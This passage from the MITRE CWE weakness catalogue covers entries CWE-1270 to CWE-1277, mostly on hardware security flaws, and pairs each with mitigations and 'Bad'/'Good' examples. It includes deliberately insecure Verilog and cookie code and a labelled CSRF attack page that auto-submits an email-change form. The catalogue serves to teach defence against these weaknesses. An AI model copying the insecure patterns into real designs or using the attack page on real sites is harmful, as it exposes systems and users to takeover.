Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

## Demonstrative Examples

### Example 1:

This example shows what happens when a preproduction system is made available for production.

Example Language:

(Bad)

Suppose the chipmaker has a way of scanning all the internal memory (containing chipmaker-level secrets) during the manufacturing phase, and the way the chipmaker or the Original Equipment Manufacturer (OEM) marks the end of the manufacturing phase is by blowing a Manufacturing Complete fuse. Now, suppose that whoever blows the Manufacturing Complete fuse inadvertently forgets to execute the step to blow the fuse.

An attacker will now be able to scan all the internal memory (containing chipmaker-level secrets).

Example Language:

(Good)

Blow the Manufacturing Complete fuse.

## Observed Examples

Reference	Description
<b>CVE-2019-13945</b>	Regarding SSA-686531, a hardware based manufacturing access on S7-1200 and S7-200 SMART has occurred. A vulnerability has been identified in SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions), SIMATIC S7-200 SMART CPU family (All versions). There is an access mode used during manufacturing of S7-1200 CPUs that allows additional diagnostic functionality. The security vulnerability could be exploited by an attacker with physical access to the UART interface during boot process. At the time of advisory publication, no public exploitation of this security vulnerability was known. <a href="https://www.cve.org/CVERecord?id=CVE-2019-13945">https://www.cve.org/CVERecord?id=CVE-2019-13945</a>
<b>CVE-2018-4251</b>	Laptops with Intel chipsets were found to be running in Manufacturing Mode. After this information was reported to the OEM, the vulnerability (CVE-2018-4251) was patched disallowing access to the interface. <a href="https://www.cve.org/CVERecord?id=CVE-2018-4251">https://www.cve.org/CVERecord?id=CVE-2018-4251</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1195	Manufacturing and Life Cycle Management Concerns	1194	2262

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
439	Manipulation During Distribution

## References

[REF-1103]Lucian Armasu. "Intel ME's Undocumented Manufacturing Mode Suggests CPU Hacking Risks". 2018 October 3. < <https://www.tomshardware.com/news/intel-me-cpu-undocumented-manufacturing-mode,37883.html> >.

## CWE-1270: Generation of Incorrect Security Tokens

Weakness ID : 1270

Structure : Simple

Abstraction : Base

## Description

The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect.

### Extended Description

Systems-On-a-Chip (SoC) (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify actions originated from various agents. These actions could be "read", "write", "program", "reset", "fetch", "compute", etc. Security Tokens are generated and assigned to every agent on the SoC that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Token based on its trust level or privileges. Incorrectly generated Security Tokens could result in the same token used for multiple agents or multiple tokens being used for the same agent. This condition could result in a Denial-of-Service (DoS) or the execution of an action that in turn could result in privilege escalation or unintended access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊕	1294	Insecure Security Identifier Mechanism	1983

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Files or Directories	High
Integrity	Execute Unauthorized Code or Commands	
Availability	Bypass Protection Mechanism	
Access Control	Gain Privileges or Assume Identity	
	Read Memory	
	Modify Memory	
	DoS: Crash, Exit, or Restart	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Generation of Security Tokens should be reviewed for design inconsistency and common weaknesses. Security-Token definition and programming flow should be tested in pre-silicon and post-silicon testing.

### Demonstrative Examples

**Example 1:**

Consider a system with a register for storing an AES key for encryption or decryption. The key is 128 bits long implemented as a set of four 32-bit registers. The key registers are assets, and register, AES\_KEY\_ACCESS\_POLICY, is defined to provide necessary access controls. The access-policy register defines which agents, using a Security Token, may access the AES-key registers. Each bit in this 32-bit register is used to define a Security Token. There could be a maximum of 32 Security Tokens that are allowed access to the AES-key registers. When set (bit = "1") bit number allows action from an agent whose identity matches that bit number. If Clear (bit = "0") the action is disallowed for the corresponding agent.

Assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".

An agent with a Security Token "1" has access to AES\_ENC\_DEC\_KEY\_0 through AES\_ENC\_DEC\_KEY\_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".

*Example Language: Other* *(Bad)*

The SoC incorrectly generates Security Token "1" for every agent. In other words, both Main-controller and Aux-controller are assigned Security Token "1".

Both agents have access to the AES-key registers.

*Example Language: Other* *(Good)*

The SoC should correctly generate Security Tokens, assigning "1" to the Main-controller and "2" to the Aux-controller

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
633	Token Impersonation
681	Exploitation of Improperly Controlled Hardware Security Identifiers

**CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings**

**Weakness ID :** 1271  
**Structure :** Simple  
**Abstraction :** Base

**Description**

Security-critical logic is not set to a known value on reset.

**Extended Description**

When the device is first brought out of reset, the state of registers will be indeterminate if they have not been initialized by the logic. Before the registers are initialized, there will be a window during which the device is in an insecure state and may be vulnerable to attack.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	909	Missing Initialization of Resource	1673

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	ⓑ	1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation	2005

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control Authentication Authorization	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

Design checks should be performed to identify any uninitialized flip-flops used for security-critical functions.

#### Phase: Architecture and Design

All registers holding security-critical information should be set to a specific value on reset.

### Demonstrative Examples

#### Example 1:

Shown below is a positive clock edge triggered flip-flop used to implement a lock bit for test and debug interface. When the circuit is first brought out of reset, the state of the flip-flop will be unknown until the enable input and D-input signals update the flip-flop state. In this example, an attacker can reset the device until the test and debug interface is unlocked and access the test interface until the lock signal is driven to a known state by the logic.

*Example Language: Verilog*

*(Bad)*

```
always @(posedge clk) begin
    if (en) lock_jtag <= d;
end
```

The flip-flop can be set to a known value (0 or 1) on reset, but requires that the logic explicitly update the output of the flip-flop if the reset signal is active.

*Example Language: Verilog*

*(Good)*

```
always @(posedge clk) begin
    if (~reset) lock_jtag <= 0;
    else if (en) lock_jtag <= d;
end
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1206	Power, Clock, Thermal, and Reset Concerns	1194	2266

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating State

## CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition

**Weakness ID :** 1272

**Structure :** Simple

**Abstraction :** Base

## Description

The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions.

## Extended Description

A device or system frequently employs many power and sleep states during its normal operation (e.g., normal power, additional power, low power, hibernate, deep sleep, etc.). A device also may be operating within a debug condition. State transitions can happen from one power or debug state to another. If there is information available in the previous state which should not be available in the next state and is not properly removed before the transition into the next state, sensitive information may leak from the system.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information in Resource Not Removed Before Reuse	536
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	484

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** VHDL (*Prevalence = Undetermined*)

**Language :** Verilog (*Prevalence = Undetermined*)

**Language :** Hardware Description Language (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	High
Integrity	Read Application Data	
Availability	<i>Sensitive information may be used to unlock additional capabilities of the device and take advantage of hidden functionalities which could be used to compromise device security.</i>	
Access Control		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

### Detection Methods

#### Manual Analysis

Write a known pattern into each sensitive location. Enter the power/debug state in question. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the device needs to be fixed. Note that this test can likely be automated.

*Effectiveness = High*

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

During state transitions, information not needed in the next state should be removed before the transition to the next state.

### Demonstrative Examples

#### Example 1:

This example shows how an attacker can take advantage of an incorrect state transition.

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.

*Example Language:*

*(Bad)*

During the transition from A to B, the device does not scrub the memory.

After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.

*Example Language:*

*(Good)*

For transition from state A to state B, remove information which should not be available once the transition is complete.

### Observed Examples



Reference	Description
<b>CVE-2020-12926</b>	Product software does not set a flag as per TPM specifications, thereby preventing a failed authorization attempt from being recorded after a loss of power. <a href="https://www.cve.org/CVERecord?id=CVE-2020-12926">https://www.cve.org/CVERecord?id=CVE-2020-12926</a>

### Functional Areas

- Power

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
150	Collect Data from Common Resource Locations
545	Pull Data from System Resources
546	Incomplete Data Deletion in a Multi-Tenant Environment

### References

[REF-1220]Zhenyu Ning and Fengwei Zhang. "Understanding the Security of ARM Debugging Features". 2019 IEEE Symposium on Security and Privacy (SP). 2019 May 2. < <https://www.computer.org/csdl/proceedings-article/sp/2019/666000b156/19skgcwSgsE> >.

## CWE-1273: Device Unlock Credential Sharing

**Weakness ID** : 1273

**Structure** : Simple

**Abstraction** : Base

### Description

The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.

### Extended Description

"Unlocking a device" often means activating certain unadvertised debug and manufacturer-specific capabilities of a device using sensitive credentials. Unlocking a device might be necessary for the purpose of troubleshooting device problems. For example, suppose a device contains the ability to dump the content of the full system memory by disabling the memory-protection mechanisms. Since this is a highly security-sensitive capability, this capability is "locked" in the production part. Unless the device gets unlocked by supplying the proper credentials, the debug capabilities are not available. For cases where the chip designer, chip manufacturer (fabricator), and manufacturing and assembly testers are all employed by the same company, the risk of compromise of the credentials is greatly reduced. However, the risk is greater when the chip designer is employed by one company, the chip manufacturer is employed by another company (a foundry), and the assemblers and testers are employed by yet a third company. Since these different companies will need to perform various tests on the device to verify correct device function, they all need to

share the unlock key. Unfortunately, the level of secrecy and policy might be quite different at each company, greatly increasing the risk of sensitive credentials being compromised.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

## Applicable Platforms

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : Compiled (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Other (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Availability	Modify Files or Directories	
Access Control	Read Files or Directories	
Accountability	Modify Application Data	
Authentication	Execute Unauthorized Code or Commands	
Authorization	Gain Privileges or Assume Identity	
Non-Repudiation	Bypass Protection Mechanism	
<p><i>Once unlock credentials are compromised, an attacker can use the credentials to unlock the device and gain unauthorized access to the hidden functionalities protected by those credentials.</i></p>		

## Potential Mitigations

### Phase: Integration

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

### Phase: Manufacturing

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

## Demonstrative Examples

### Example 1:

This example shows how an attacker can take advantage of compromised credentials.

*Example Language:**(Bad)*

Suppose a semiconductor chipmaker, "C", uses the foundry "F" for fabricating its chips. Now, F has many other customers in addition to C, and some of the other customers are much smaller companies. F has dedicated teams for each of its customers, but somehow it mixes up the unlock credentials and sends the unlock credentials of C to the wrong team. This other team does not take adequate precautions to protect the credentials that have nothing to do with them, and eventually the unlock credentials of C get leaked.

When the credentials of multiple organizations are stored together, exposure to third parties occurs frequently.

*Example Language:**(Good)*

Vertical integration of a production company is one effective method of protecting sensitive credentials. Where vertical integration is not possible, strict access control and need-to-know are methods which can be implemented to reduce these risks.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1195	Manufacturing and Life Cycle Management Concerns	1194	2262

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
560	Use of Known Domain Credentials

## CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code

**Weakness ID :** 1274

**Structure :** Simple

**Abstraction :** Base

### Description

The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory.

### Extended Description

Adversaries could bypass the secure-boot process and execute their own untrusted, malicious boot code.

As a part of a secure-boot process, the read-only-memory (ROM) code for a System-on-Chip (SoC) or other system fetches bootloader code from Non-Volatile Memory (NVM) and stores the code in Volatile Memory (VM), such as dynamic, random-access memory (DRAM) or static, random-access memory (SRAM). The NVM is usually external to the SoC, while the VM is internal to the SoC. As the code is transferred from NVM to VM, it is authenticated by the SoC's ROM code.

If the volatile-memory-region protections or access controls are insufficient to prevent modifications from an adversary or untrusted agent, the secure boot may be bypassed or replaced with the execution of an adversary's code.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	High
Integrity	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity	

## Detection Methods

### Manual Analysis

Ensure the volatile memory is lockable or has locks. Ensure the volatile memory is locked for writes from untrusted agents or adversaries. Try modifying the volatile memory from an untrusted agent, and ensure these writes are dropped.

*Effectiveness = High*

### Manual Analysis

Analyze the device using the following steps: 1) Identify all fabric master agents that are active during system Boot Flow when initial code is loaded from Non-volatile storage to volatile memory. 2) Identify the volatile memory regions that are used for storing loaded system executable program. 3) During system boot, test programming the identified memory regions in step 2 from all the masters identified in step 1. Only trusted masters should be allowed to write to the memory regions. For example, pluggable device peripherals should not have write access to program load memory regions.

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Architecture and Design

Ensure that the design of volatile-memory protections is enough to prevent modification from an adversary or untrusted code.

### Phase: Testing

Test the volatile-memory protections to ensure they are safe from modification or untrusted code.

## Demonstrative Examples

### Example 1:

A typical SoC secure boot's flow includes fetching the next piece of code (i.e., the boot loader) from NVM (e.g., serial, peripheral interface (SPI) flash), and transferring it to DRAM/SRAM volatile, internal memory, which is more efficient.

*Example Language:*

*(Bad)*

The volatile-memory protections or access controls are insufficient.

The memory from where the boot loader executes can be modified by an adversary.

*Example Language:*

*(Good)*

A good architecture should define appropriate protections or access controls to prevent modification by an adversary or untrusted agent, once the bootloader is authenticated.

## Observed Examples

Reference	Description
<b>CVE-2019-2267</b>	Locked memory regions may be modified through other interfaces in a secure-boot-loader image due to improper access control. <a href="https://www.cve.org/CVERecord?id=CVE-2019-2267">https://www.cve.org/CVERecord?id=CVE-2019-2267</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2262
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
456	Infected Memory
679	Exploitation of Improperly Configured or Implemented Memory Protections

## CWE-1275: Sensitive Cookie with Improper SameSite Attribute

**Weakness ID** : 1275

**Structure** : Simple

**Abstraction** : Variant

### Description

The SameSite attribute for sensitive cookies is not set, or an insecure value is used.

### Extended Description

The SameSite attribute controls how cookies are sent for cross-domain requests. This attribute may have three values: 'Lax', 'Strict', or 'None'. If the 'None' value is used, a website may create a cross-domain POST HTTP request to another website, and the browser automatically adds cookies to this request. This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
CanPrecede		352	Cross-Site Request Forgery (CSRF)	821

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Non-Repudiation Access Control	<i>If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a "simple" "Content-Type" header in the HTTP request and many more.</i>	Low

### Potential Mitigations

#### Phase: Implementation

Set the SameSite attribute of a sensitive cookie to 'Lax' or 'Strict'. This instructs the browser to apply this cookie only to same-domain requests, which provides a good Defense in Depth against CSRF attacks. When the 'Lax' value is in use, cookies are also sent for top-level cross-domain navigation via HTTP GET, HEAD, OPTIONS, and TRACE methods, but not for other HTTP methods that are more like to cause side-effects of state mutation.

*Effectiveness = High*

*While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHttpRequest to read the headers directly and obtain the cookie.*

### Demonstrative Examples

#### Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: JavaScript

(Bad)

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com' }
response.cookie('sessionId', sessionId, cookieOptions)
```

Since the sameSite attribute is not specified, the cookie will be sent to the website with each request made by the client. An attacker can potentially perform CSRF attack by using the following malicious page:

Example Language: HTML

(Attack)

```
<html>
  <form id=evil action="http://local:3002/setEmail" method="POST">
    <input type="hidden" name="newEmail" value="abc@example.com" />
  </form>
<script>evil.submit()</script>
</html>
```

When the client visits this malicious web page, it submits a '/setEmail' POST HTTP request to the vulnerable website. Since the browser automatically appends the 'sessionId' cookie to the request, the website automatically performs a 'setEmail' action on behalf of the client.

To mitigate the risk, use the sameSite attribute of the 'sessionId' cookie set to 'Strict'.

Example Language: JavaScript

(Good)

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com', sameSite: 'Strict' }
response.cookie('sessionId', sessionId, cookieOptions)
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control		1344 2280

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
62	Cross Site Request Forgery

## References

[REF-1104]M. West and M. Goodwin. "SameSite attribute specification draft". 2016 April 6. < <https://tools.ietf.org/html/draft-west-first-party-cookies-07> >.

[REF-1105]Mozilla. "SameSite attribute description on MDN Web Docs". 2020 June 0. < <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite> >.

[REF-1106]The Chromium Projects. "Chromium support for SameSite attribute". 2019 September 6. < <https://www.chromium.org/updates/same-site> >.

## CWE-1276: Hardware Child Block Incorrectly Connected to Parent System

Weakness ID : 1276

Structure : Simple

Abstraction : Base



## Description

Signals between a hardware IP and the parent system design are incorrectly connected causing security risks.

## Extended Description

Individual hardware IP must communicate with the parent system in order for the product to function correctly and as intended. If implemented incorrectly, while not causing any apparent functional issues, may cause security issues. For example, if the IP should only be reset by a system-wide hard reset, but instead the reset input is connected to a software-triggered debug mode reset (which is also asserted during a hard reset), integrity of data inside the IP can be violated.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context	

## Potential Mitigations

### Phase: Testing

System-level verification may be used to ensure that components are correctly connected and that design security requirements are not violated due to interactions between various IP blocks.

## Demonstrative Examples

### Example 1:

Many SoCs use hardware to partition system resources between trusted and un-trusted entities. One example of this concept is the Arm TrustZone, in which the processor and all security-aware IP attempt to isolate resources based on the status of a privilege bit. This privilege bit is part of the input interface in all TrustZone-aware IP. If this privilege bit is accidentally grounded or left unconnected when the IP is instantiated, privilege escalation of all input data may occur.

*Example Language: Verilog*

*(Bad)*

```
// IP definition
module tz_peripheral(clk, reset, data_in, data_in_security_level, ...);
    input clk, reset;
    input [31:0] data_in;
    input data_in_security_level;
```

```

...
endmodule
// Instantiation of IP in a parent system
module soc(...)
...
  tz_peripheral u_tz_peripheral(
    .clk(clk),
    .rst(rst),
    .data_in(rdata),
    //Copy-and-paste error or typo grounds data_in_security_level (in this example 0=secure, 1=non-secure) effectively
    //promoting all data to "secure")
    .data_in_security_level(1'b0),
  );
...
endmodule

```

In the Verilog code below, the security level input to the TrustZone aware peripheral is correctly driven by an appropriate signal instead of being grounded.

Example Language: Verilog

(Good)

```

// Instantiation of IP in a parent system
module soc(...)
...
  tz_peripheral u_tz_peripheral(
    .clk(clk),
    .rst(rst),
    .data_in(rdata),
    // This port is no longer grounded, but instead driven by the appropriate signal
    .data_in_security_level(rdata_security_level),
  );
...
endmodule

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1197	Integration Issues		1194 2263

## CWE-1277: Firmware Not Updateable

**Weakness ID** : 1277

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not provide its users with the ability to update or patch its firmware to address any vulnerabilities or weaknesses that may be present.

### Extended Description

Without the ability to patch or update firmware, consumers will be left vulnerable to exploitation of any known vulnerabilities, or any vulnerabilities that are discovered in the future. This can expose consumers to permanent risk throughout the entire lifetime of the device, which could be years or decades. Some external protective measures and mitigations might be employed to aid in preventing or reducing the risk of malicious attack, but the root weakness cannot be corrected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1329	Reliance on Component That is Not Updateable	2043

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	Medium
Integrity	Bypass Protection Mechanism	
Access Control	Execute Unauthorized Code or Commands	
Authentication	DoS: Crash, Exit, or Restart	
Authorization	<i>If an attacker can identify an exploitable vulnerability in one device that has no means of patching, the attack may be used against an entire class of devices.</i>	

### Detection Methods

#### Manual Analysis

Create a new installable boot image of the current build with a minor version number change. Use the standard installation method to update the boot image. Verify that the minor version number has changed. Create a fake image. Verify that the boot updater will not install the fake image and generates an "invalid image" error message or equivalent.

*Effectiveness = High*

#### Architecture or Design Review

Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.

*Effectiveness = Moderate*

#### Manual Dynamic Analysis

Determine if there is a lack of a capability to update read-only memory (ROM) structure. This could manifest as a difference between the latest firmware version and the current version within the device.

*Effectiveness = High*

### Potential Mitigations

#### Phase: Requirements

Specify requirements to include the ability to update the firmware. Include integrity checks and authentication to ensure that untrusted firmware cannot be installed.

### Phase: Architecture and Design

Design the device to allow for updating the firmware. Ensure that the design specifies how to distribute the updates and ensure their integrity and authentication.

### Phase: Implementation

Implement the necessary functionality to allow the firmware to be updated.

### Demonstrative Examples

#### Example 1:

A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.

*Example Language: Other*

*(Bad)*

The refrigerator has no means of patching and is hacked becoming a spewer of email spam.

*Example Language: Other*

*(Good)*

The device automatically patches itself and provides considerable more protection against being hacked.

### Observed Examples

Reference	Description
<b>CVE-2020-9054</b>	Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097] <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>
<b>[REF-1095]</b>	A hardware "smart lock" has weak key generation that allows attackers to steal the key by BLE sniffing, but the device's firmware cannot be upgraded and hence remains vulnerable [REF-1095]. <a href="https://www.theregister.com/2019/12/11/f_secure_keywe/">https://www.theregister.com/2019/12/11/f_secure_keywe/</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1208	Cross-Cutting Problems	<input type="checkbox"/>	1194 2268
MemberOf	<input type="checkbox"/>	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	<input type="checkbox"/>	1343 2352

### Notes

#### Terminology

